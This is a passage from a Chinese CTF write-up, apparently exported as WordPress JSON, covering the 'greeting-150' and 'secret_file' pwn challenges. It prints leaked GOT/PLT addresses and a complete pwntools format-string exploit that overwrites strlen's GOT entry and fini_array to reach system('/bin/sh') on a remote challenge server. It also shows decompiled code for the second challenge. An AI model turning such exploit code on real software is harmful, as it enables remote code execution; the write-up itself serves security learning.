src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330192105712\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u67e5\u770b<code>main<\/code>\u3001<code>system_plt<\/code>\u548c<code>strlen_got<\/code>\u5730\u5740\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025623.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025623.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330192625235\" style=\"zoom: 58%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025624.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025624.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330193912390\" style=\"zoom: 45%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025625.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025625.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330194111193\" style=\"zoom: 40%;\" \/><\/div><\/p>\n<blockquote>\n<ol>\n<li>fini_got = 0x8049934 <\/li>\n<li>strlen_got = 0x8049A54<\/li>\n<li>main_addr = 0x80485ED<\/li>\n<li>system_plt = 0x8048490<\/li>\n<li>start_addr=0x80484F0<\/li>\n<\/ol>\n<\/blockquote>\n<h3>EXP\uff1a<a href=\"https:\/\/blog.csdn.net\/qq_33976344\">fa1c4<\/a><\/h3>\n<pre><code class=\"language-python\">payload = \u2018aa\u2019 + p32(fini_array) + \u201c%\u201d + str(main_addr -4 -2 \u2013 strlen(\u201cNice to meet you,\u201d)) + \u2018c%12$hn\u2019<\/code><\/pre>\n<pre><code class=\"language-python\">from typing import ContextManager\nfrom pwn import *\n\ncontext.log_level = &quot;debug&quot;\nsel = 1\nfilename = &quot;.\/greeting-150&quot;\nURL, PORT = &quot;111.200.241.244&quot;, 53619 \nio = process(filename) if sel == 0 else remote(URL, PORT)\n\nstrlen_got = 0x08049A54\nsystem_plt = 0x08048490\nmain_addr = 0x080485ED\nfini_array = 0x08049934 \n\nfini_num = 0x85ED\nsysplt_num1 = 0x0804\nsysplt_num2 = 0x8490\nlength_pre = 18 # len(&quot;Nice to meet you, &quot;)\n\npayload = b&quot;zz&quot; + p32(strlen_got) + p32(strlen_got + 2) + p32(fini_array)\npayload += b&quot;%&quot; + b&quot;2020&quot; + b&quot;c%13$hn&quot; # sysplt_num1 - 15 - length_pre == 0x7E4\npayload += b&quot;%&quot; + b&quot;31884&quot; + b&quot;c%12$hn&quot; # sysplt_num2 - sysplt_num1 == 0x7C8C\npayload += b&quot;%&quot; + b&quot;349&quot; + b&quot;c%14$hn&quot; # fini_num - sysplt_num2 == 0x15D\n\nio.sendlineafter(&quot;Please tell me your name... &quot;, payload)\nio.sendlineafter(&quot;Please tell me your name... &quot;, b&quot;\/bin\/sh&quot;)\nio.interactive()<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025626.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025626.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330195429108\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>secret_file<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025627.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025627.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330195508830\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u67e5\u770b\u57fa\u7840\u4fe1\u606f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025628.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025628.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330195649009\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u4fdd\u62a4\u5168\u5f00\u4e86\u3002\u3002\u3002\u3002\u5bf9\u4e8e\u8fd9\u4e2a\u62a5\u9519\uff0c\u4e0a\u7f51\u67e5\u4e86\u4e00\u4e0b\u662f\u7531\u4e8e\u7f3a\u5c11openssl\u5f00\u6e90\u5e93libcrypto.so.1.1\uff0c\u52a0\u8f7d\u597d\u521b\u5efa\u8f6f\u8fde\u63a5\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-bash\">ln -s libcrypto.so.1.1 libcrypto.so.1.0.0<\/code><\/pre>\n<p>\u62d6\u5230IDA\u67e5\u770b\uff1a<\/p>\n<pre><code class=\"language-c\">__int64 __fastcall main(__int64 a1, char **a2, char **a3)\n{\n  char *v3; \/\/ rax\n  unsigned __int8 *v4; \/\/ rbp\n  int *v5; \/\/ rbx\n  __int64 v6; \/\/ rcx\n  char *v7; \/\/ rdi\n  unsigned int v8; \/\/ er12\n  FILE *v9; \/\/ rbp\n  __int64 v11; \/\/ [rsp+0h] [rbp-308h]\n  char *lineptr; \/\/ [rsp+8h] [rbp-300h]\n  char dest; \/\/ [rsp+10h] [rbp-2F8h]\n  __int64 v14; \/\/ [rsp+110h] [rbp-1F8h]\n  _BYTE v15[5]; \/\/ [rsp+12Bh] [rbp-1DDh]\n  int v16; \/\/ [rsp+16Ch] [rbp-19Ch]\n  int v17; \/\/ [rsp+18Ch] [rbp-17Ch]\n  int v18; \/\/ [rsp+1CCh] [rbp-13Ch]\n  char s; \/\/ [rsp+1D0h] [rbp-138h]\n  unsigned __int64 v20; \/\/ [rsp+2D8h] [rbp-30h]\n\n  v20 = __readfsqword(0x28u);\n  sub_E60(&amp;dest, a2, a3);\n  v11 = 0LL;\n  lineptr = 0LL;\n  if ( getline(&amp;lineptr, (size_t *)&amp;v11, stdin) == -1 )\n    return 1;\n  v3 = strrchr(lineptr, 10);\n  if ( !v3 )\n    return 1;\n  *v3 = 0;\n  v4 = (unsigned __int8 *)&amp;v16;\n  v5 = &amp;v17;\n  strcpy(&amp;dest, lineptr);\n  sub_DD0(&amp;dest, &amp;v16, 256LL);\n  do\n  {\n    v6 = *v4;\n    v7 = (char *)v5;\n    v5 = (int *)((char *)v5 + 2);\n    ++v4;\n    snprintf(v7, 3uLL, &quot;%02x&quot;, v6);\n  }\n  while ( v5 != &amp;v18 );\n  v8 = strcmp(v15, (const char *)&amp;v17);\n  if ( v8 )\n  {\n    puts(&quot;wrong password!&quot;);\n    return 1;\n  }\n  v9 = popen((const char *)&amp;v14, &quot;r&quot;);\n  if ( !v9 )\n    return 1;\n  while ( fgets(&amp;s, 256, v9) )\n    printf(&quot;%s&quot;, &amp;s);\n  fclose(v9);\n  return v8;\n}<\/code><\/pre>\n<p>\u5206\u6790\u903b\u8f91\u53ef\u77e5\uff1av8\u4e0d\u4e3a0\u5c31\u4f1a\u8f93\u51fa<code>&quot;wrong password\u201d<\/code>\uff0c\u7136\u540e\u9000\u51fa\uff0c\u5982\u679cv8\u7b49\u4e8e0\uff0c\u90a3\u4e48\u540e\u9762\u4f1a\u6267\u884c<code>popen<\/code>\u51fd\u6570\uff0c\u8be5\u51fd\u6570\u53ef\u4ee5\u6267\u884c<code>shell command<\/code>\u3002<\/p>\n<p>\u4e0a\u7f51\u67e5\u4e86\u4e00\u4e0b\u8fd9\u4e2apopen\uff0c<a href=\"https:\/\/www.cnblogs.com\/52php\/p\/5722238.html\">Linux C popen()\u51fd\u6570\u8be6\u89e3 - 52php - \u535a\u5ba2\u56ed (cnblogs.com)<\/a>:<\/p>\n<blockquote>\n<p><code>popen()\u4f1a\u8c03\u7528fork()\u4ea7\u751f\u5b50\u8fdb\u7a0b\uff0c\u7136\u540e\u4ece\u5b50\u8fdb\u7a0b\u4e2d\u8c03\u7528\/bin\/sh -c\u6765\u6267\u884c\u53c2\u6570command\u7684\u6307\u4ee4\u3002\u53c2\u6570type\u53ef\u4f7f\u7528\u201cr\u201d\u4ee3\u8868\u8bfb\u53d6\uff0c\u201cw\u201d\u4ee3\u8868\u5199\u5165\u3002\u4f9d\u7167\u6b64type\u503c\uff0cpopen()\u4f1a\u5efa\u7acb\u7ba1\u9053\u8fde\u5230\u5b50\u8fdb\u7a0b\u7684\u6807\u51c6\u8f93\u51fa\u8bbe\u5907\u6216\u6807\u51c6\u8f93\u5165\u8bbe\u5907\uff0c\u7136\u540e\u8fd4\u56de\u4e00\u4e2a\u6587\u4ef6\u6307\u9488\u3002\u968f\u540e\u8fdb\u7a0b\u4fbf\u53ef\u5229\u7528\u6b64\u6587\u4ef6\u6307\u9488\u6765\u8bfb\u53d6\u5b50\u8fdb\u7a0b\u7684\u8f93\u51fa\u8bbe\u5907\u6216\u662f\u5199\u5165\u5230\u5b50\u8fdb\u7a0b\u7684\u6807\u51c6\u8f93\u5165\u8bbe\u5907\u4e2d\u3002\u6b64\u5916\uff0c\u6240\u6709\u4f7f\u7528\u6587\u4ef6\u6307\u9488(FILE*)\u64cd\u4f5c\u7684\u51fd\u6570\u4e5f\u90fd\u53ef\u4ee5\u4f7f\u7528\uff0c\u9664\u4e86fclose()\u4ee5\u5916\u3002<\/code><\/p>\n<ul>\n<li><code>\u5982\u679c type \u4e3a r\uff0c\u90a3\u4e48\u8c03\u7528\u8fdb\u7a0b\u8bfb\u8fdb command \u7684\u6807\u51c6\u8f93\u51fa\u3002<\/code><\/li>\n<li><code>\u5982\u679c type \u4e3a w\uff0c\u90a3\u4e48\u8c03\u7528\u8fdb\u7a0b\u5199\u5230 command \u7684\u6807\u51c6\u8f93\u5165\u3002<\/code><\/li>\n<\/ul>\n<\/blockquote>\n<p>\u7136\u540e\u8981\u4f7f<code>v8==0<\/code>\uff0cv15\u548cv17\u4e24\u4e2a\u5b57\u7b26\u4e32\u8981\u76f8\u7b49\uff0c\u4e0a\u9762<code>v7==v5<\/code>\uff0c<code>v5 = &amp;v17<\/code>\uff0c<code>v6 = *v4<\/code>\uff0c<code>v4 = (unsigned __int8 *)&amp;v16<\/code><\/p>\n<p>\u7136\u540e\u53ef\u4ee5\u53d1\u73b0getline\u5b58\u5728\u6ea2\u51fa\uff0c\u518d\u67e5\u770b\u4e00\u4e0b\u5176\u4ed6\u51fd\u6570\uff1a<\/p>\n<pre><code class=\"language-c\">unsigned __int64 __fastcall sub_E60(char *a1)\n{\n  __int64 v2; \/\/ [rsp+0h] [rbp-78h]\n  __int64 v3; \/\/ [rsp+8h] [rbp-70h]\n  __int64 v4; \/\/ [rsp+10h] [rbp-68h]\n  __int16 v5; \/\/ [rsp+18h] [rbp-60h]\n  char v6; \/\/ [rsp+1Ah] [rbp-5Eh]\n  __int64 v7; \/\/ [rsp+20h] [rbp-58h]\n  __int64 v8; \/\/ [rsp+28h] [rbp-50h]\n  __int64 v9; \/\/ [rsp+30h] [rbp-48h]\n  __int64 v10; \/\/ [rsp+38h] [rbp-40h]\n  __int64 v11; \/\/ [rsp+40h] [rbp-38h]\n  __int64 v12; \/\/ [rsp+48h] [rbp-30h]\n  __int64 v13; \/\/ [rsp+50h] [rbp-28h]\n  __int64 v14; \/\/ [rsp+58h] [rbp-20h]\n  char v15; \/\/ [rsp+60h] [rbp-18h]\n  unsigned __int64 v16; \/\/ [rsp+68h] [rbp-10h]\n\n  v16 = __readfsqword(0x28u);\n  v6 = 0;\n  memset(a1, 0, 0x100uLL);\n  v2 = 8386093036507587119LL;\n  v3 = 7310014432551054880LL;\n  v4 = 7002641623085768564LL;\n  v5 = 25459;\n  snprintf(\n    a1 + 256,\n    0x1BuLL,\n    &quot;%s&quot;,\n    &amp;v2,\n    8386093036507587119LL,\n    7310014432551054880LL,\n    7002641623085768564LL,\n    *(_QWORD *)&amp;v5);\n  v7 = 7291380990809223993LL;\n  v8 = 3846974793129996595LL;\n  v9 = 7149517611173568821LL;\n  v10 = 7005684783558900022LL;\n  v11 = 3703759022809560162LL;\n  v12 = 3559359259495392098LL;\n  v13 = 3544673966641145443LL;\n  v14 = 3977295534107146545LL;\n  v15 = 0;\n  snprintf(a1 + 283, 0x41uLL, &quot;%s&quot;, &amp;v7);\n  return __readfsqword(0x28u) ^ v16;\n}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u653b\u9632\u4e16\u754c\u8fdb\u9636\u4e13\u533a\u2014\u2014PWN(1~10) dice_game \u4e0b\u8f7d\u9644\u4ef6\uff0c\u662f\u4e00\u4e2azip\u538b\u7f29\u6587\u4ef6\uff0c\u89e3\u538b\u4e00\u4e0b\uff0c\u518dche [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,19],"tags":[],"class_list":["post-351","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-pwn"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/351","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=351"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/351\/revisions"}],"predecessor-version":[{"id":352,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/351\/revisions\/352"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=351"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}